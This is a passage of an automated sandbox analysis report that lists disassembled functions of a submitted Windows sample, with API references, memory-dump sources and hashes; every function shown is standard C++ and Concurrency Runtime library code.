                                  • __Mtx_unlock.LIBCPMT ref: 00A5D648
                                  • atomic_compare_exchange.LIBCONCRT ref: 00A5D664
                                  • GetCurrentThreadId.KERNEL32 ref: 00A5D67E
                                  • __Mtx_unlock.LIBCPMT ref: 00A5D6BF
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::_Mtx_unlockToken$CancellationContainer::removeCounter::_CurrentH_prolog3RegistrationReleaseState::Threadatomic_compare_exchangemtx_do_lock
                                  • String ID:
                                  • API String ID: 3750600146-0
                                  • Opcode ID: b613cf76b9bfd94b53fd928f2fc5ba7825a994e8d523a358b687bbce5b8de7d8
                                  • Instruction ID: da67abac191cbaec7c6689a6472e29efd20617a58569b0a11917df4eece6e6e0
                                  • Opcode Fuzzy Hash: b613cf76b9bfd94b53fd928f2fc5ba7825a994e8d523a358b687bbce5b8de7d8
                                  • Instruction Fuzzy Hash: 0C21D372C00255AADF31B764DA56BEEB7A4BF01311F21404AF804EB4D3DBB45A4AC7E1
                                  Function 00A68EEB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON
                                  Download Yara Rule
                                  APIs
                                  • FindSITargetTypeInstance.LIBVCRUNTIME ref: 00A68F3E
                                  • FindMITargetTypeInstance.LIBVCRUNTIME ref: 00A68F57
                                  • PMDtoOffset.LIBCMT ref: 00A68F7D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: FindInstanceTargetType$Offset
                                  • String ID: Bad dynamic_cast!
                                  • API String ID: 1467055271-2956939130
                                  • Opcode ID: df3a3fe1971097530a66486c1fe4b3aa68ffcd306aa31cdf0d5c593886cc0ab3
                                  • Instruction ID: a296159982aeb1afa924aef5dafce08941f4f02213211a40d5220ccab446d15a
                                  • Opcode Fuzzy Hash: df3a3fe1971097530a66486c1fe4b3aa68ffcd306aa31cdf0d5c593886cc0ab3
                                  • Instruction Fuzzy Hash: F3210872A04205AFCF14DF64DE06AAE77B9FB84720F10475AF91197280DF39E9018691
                                  Function 00A527AE Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,00A51F19,?,?,?,00000000), ref: 00A527BC
                                  • GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00A51F19,?,?,?,00000000), ref: 00A527C2
                                  • GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,00A51F19,?,?,?,00000000), ref: 00A527EF
                                  • GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00A51F19,?,?,?,00000000), ref: 00A527F9
                                  • GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00A51F19,?,?,?,00000000), ref: 00A5280B
                                  • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00A52821
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A5282F
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
                                  • String ID:
                                  • API String ID: 4227777306-0
                                  • Opcode ID: 8760c078e830e43e09d47bbaf1e2fd9ed983fa8812a3907f5ff8fa6711eb9b9f
                                  • Instruction ID: f87d499b2b26254ee2ccc21c93613cebc2c0e223e470a09b8d5cec85019eacd3
                                  • Opcode Fuzzy Hash: 8760c078e830e43e09d47bbaf1e2fd9ed983fa8812a3907f5ff8fa6711eb9b9f
                                  • Instruction Fuzzy Hash: 8A018431600106A7CB10ABE5DD0ABEF777CFB42352B104429F916E61A1DF34D90987A4
                                  Function 00A7C5C6 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: __cftoe
                                  • String ID:
                                  • API String ID: 4189289331-0
                                  • Opcode ID: 2d6143ec214cc94300470d12033d8890c80214641cbaa557ef43bd18528a9a15
                                  • Instruction ID: 0f1a2c07ce04b85d8364ce35846e95f0a6cb1199ea338ed1e0089218ce7ba709
                                  • Opcode Fuzzy Hash: 2d6143ec214cc94300470d12033d8890c80214641cbaa557ef43bd18528a9a15
                                  • Instruction Fuzzy Hash: FE51E072900205ABDF249B688D81F6E77B8EF4D770F20D22DF51D96192EF35D9008B64
                                  Function 00A7E1DC Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: __freea$__alloca_probe_16
                                  • String ID: a/p$am/pm
                                  • API String ID: 3509577899-3206640213
                                  • Opcode ID: 7893755dba194d5efd103efb128d29f404898282ec67fbe96cba3c7e784765fd
                                  • Instruction ID: fbff96736cc05604e2535e154e592ea998d82de518a8ebfa099e5af7c1306895
                                  • Opcode Fuzzy Hash: 7893755dba194d5efd103efb128d29f404898282ec67fbe96cba3c7e784765fd
                                  • Instruction Fuzzy Hash: 0AD1F131900216DADB24DF68CD99BBEB7B5FF1D700F24C19AE909AB251E3359D40CBA1
                                  Function 009F8DC0 Relevance: 9.1, APIs: 6, Instructions: 123COMMON
                                  Download Yara Rule
                                  APIs
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 009F8E09
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 009F8E2B
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 009F8E4B
                                  • __Getctype.LIBCPMT ref: 009F8EE1
                                  • std::_Facet_Register.LIBCPMT ref: 009F8F00
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 009F8F18
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
                                  • String ID:
                                  • API String ID: 1102183713-0
                                  • Opcode ID: d166e3889603d258759d21e1bf1a9445fd113858a8172553d878af53f6e2354f
                                  • Instruction ID: b39f245b7c378490dc833b36cfb2104c3655c4750ce98aad2901bb61ad109b9f
                                  • Opcode Fuzzy Hash: d166e3889603d258759d21e1bf1a9445fd113858a8172553d878af53f6e2354f
                                  • Instruction Fuzzy Hash: 12418F71D00608CFDB10EF58C981BAFB7B8EB14710F148169E946AB291EF35AD46CBD1
                                  Function 00A629FB Relevance: 9.1, APIs: 6, Instructions: 117COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::location::_Assign.LIBCMT ref: 00A62A3C
                                  • Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00A62A44
                                  • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00A62A6E
                                  • Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00A62A77
                                  • Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00A62AFA
                                  • Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00A62B02
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
                                  • String ID:
                                  • API String ID: 3929269971-0
                                  • Opcode ID: c1120d2d40a332600fe981889f131965bd4bb34fe9e803f1fb601aca9cf9ecfe
                                  • Instruction ID: 3c77916b37f15582ff3199ebcdba5449350468639fbd2316deafa75c3632e1b1
                                  • Opcode Fuzzy Hash: c1120d2d40a332600fe981889f131965bd4bb34fe9e803f1fb601aca9cf9ecfe
                                  • Instruction Fuzzy Hash: 84413C75A00619AFCF09DFA8C554BADBBB5FF98310F048159E816AB391CB74AE01CF91
                                  Function 00A5B4C3 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3_GS.LIBCMT ref: 00A5B4CA
                                  • Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00A5B4F4
                                    • Part of subcall function 00A51E31: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 00A51E44
                                    • Part of subcall function 00A51E31: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00A51E4E
                                  • __alloca_probe_16.LIBCMT ref: 00A5B530
                                  • Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00A5B571
                                  • Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00A5B5A3
                                  • __freea.LIBCMT ref: 00A5B5C9
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::Concurrency::details::_LockLock::_Node::QueueScoped_lock$Acquire_lockConcurrency::critical_section::_EventH_prolog3_NodeReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
                                  • String ID:
                                  • API String ID: 1598262936-0
                                  • Opcode ID: 11780d2d02f95e26c6141ccac7963afdeb46b1a43d6e6befa3db8250b92228b1
                                  • Instruction ID: 3b0d15352ea497937f9605e63e0d63ff8537443d0983fb708cfa3f0ce7450abe
                                  • Opcode Fuzzy Hash: 11780d2d02f95e26c6141ccac7963afdeb46b1a43d6e6befa3db8250b92228b1
                                  • Instruction Fuzzy Hash: 31318071A102058BCB09DFA8C9416ADB7B5BF59312F644029EC06E7390EB30DD0ACBA1
                                  Function 00A5E148 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00A5E18B
                                    • Part of subcall function 00A5F682: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00A5F6D1
                                  • GetCurrentThread.KERNEL32 ref: 00A5E195
                                  • Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00A5E1A1
                                    • Part of subcall function 00A5303F: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 00A53051
                                    • Part of subcall function 00A534E6: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 00A534ED
                                  • Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 00A5E1E4
                                    • Part of subcall function 00A5F634: SetEvent.KERNEL32(?,?,00A5E1E9,00A5EF7D,00000000,?,00000000,00A5EF7D,00000004,00A5F629,?,00000000,?,?,00000000), ref: 00A5F678
                                  • Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00A5E1ED
                                    • Part of subcall function 00A5EC63: __EH_prolog3.LIBCMT ref: 00A5EC6A
                                    • Part of subcall function 00A5EC63: List.LIBCONCRT ref: 00A5EC99
                                  • Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00A5E1FD
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedH_prolog3ListResourceResource::StateSubscriptionToggle
                                  • String ID:
                                  • API String ID: 2908504212-0
                                  • Opcode ID: 07cc61d7d95c3519ab12ed98f1b1cd33edc32351f402293b3e56bc46fccf1a6c
                                  • Instruction ID: 970f3f0456c07f344125574e941b906ee39378a29b79a25b7931bc602dc635f5
                                  • Opcode Fuzzy Hash: 07cc61d7d95c3519ab12ed98f1b1cd33edc32351f402293b3e56bc46fccf1a6c
                                  • Instruction Fuzzy Hash: 2D219C31500B119FCB29EF68CA908ABF3F5FF4C7017004A1DE85297691DB74AA09CBA1
                                  Function 00A6A268 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(?,?,00A6A25F,00A67DFA,00A943DF,00000008,00A94737,?,?,?,?,00A64F23,?,?,215D2A08), ref: 00A6A276
                                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A6A284
                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A6A29D
                                  • SetLastError.KERNEL32(00000000,?,00A6A25F,00A67DFA,00A943DF,00000008,00A94737,?,?,?,?,00A64F23,?,?,215D2A08), ref: 00A6A2EF
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLastValue___vcrt_
                                  • String ID:
                                  • API String ID: 3852720340-0
                                  • Opcode ID: 1b81f6bec81c01ea53a4292185ba27a38df0010a61d2ab38a38cce739d79ade5
                                  • Instruction ID: 90834e249860748af5f1f1bf3513ae5003b8cf57dc70c326e197932529649ebf
                                  • Opcode Fuzzy Hash: 1b81f6bec81c01ea53a4292185ba27a38df0010a61d2ab38a38cce739d79ade5
                                  • Instruction Fuzzy Hash: 4701473324A3126EAB20A7F4BC95DE73769EB21770B24C33AF516A10F1EF934C415545
                                  Function 00A485F5 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A485FC
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A48606
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • messages.LIBCPMT ref: 00A48640
                                  • std::_Facet_Register.LIBCPMT ref: 00A48657
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A48677
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A48695
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
                                  • String ID:
                                  • API String ID: 438560357-0
                                  • Opcode ID: 2fdd61b0a13c45322bc36ffc3510b5e5c747c93b347f2dbc2b1cb57118651765
                                  • Instruction ID: dcea13af028cdee50b817e721555c2ebbc2ed37e2e047bb8bbf06bbc918c4d11
                                  • Opcode Fuzzy Hash: 2fdd61b0a13c45322bc36ffc3510b5e5c747c93b347f2dbc2b1cb57118651765
                                  • Instruction Fuzzy Hash: 6A11AC76D002289BCF01EBA4D946BBEB7B1BF94310F650949F8056B2A1CF789E05CB91
                                  Function 00A4854F Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A48556
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A48560
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • collate.LIBCPMT ref: 00A4859A
                                  • std::_Facet_Register.LIBCPMT ref: 00A485B1
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A485D1
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A485EF
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
                                  • String ID:
                                  • API String ID: 2363045490-0
                                  • Opcode ID: a3f5b31f9cf4a4032a0b3c77b29be7fabe6c7288c1f1bf79d0914471a9b93c4a
                                  • Instruction ID: 95cdc04062084356e1671419ff2728b0db68f2d9c58cc85d6d8b84051c28f7ef
                                  • Opcode Fuzzy Hash: a3f5b31f9cf4a4032a0b3c77b29be7fabe6c7288c1f1bf79d0914471a9b93c4a
                                  • Instruction Fuzzy Hash: 90119E76D002189BCF01EBA4D942BEE77B1BFD8710F240409F8156B2A1DF789E05CB91
                                  Function 00A487E7 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A487EE
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A487F8
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • moneypunct.LIBCPMT ref: 00A48832
                                  • std::_Facet_Register.LIBCPMT ref: 00A48849
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A48869
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A48887
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
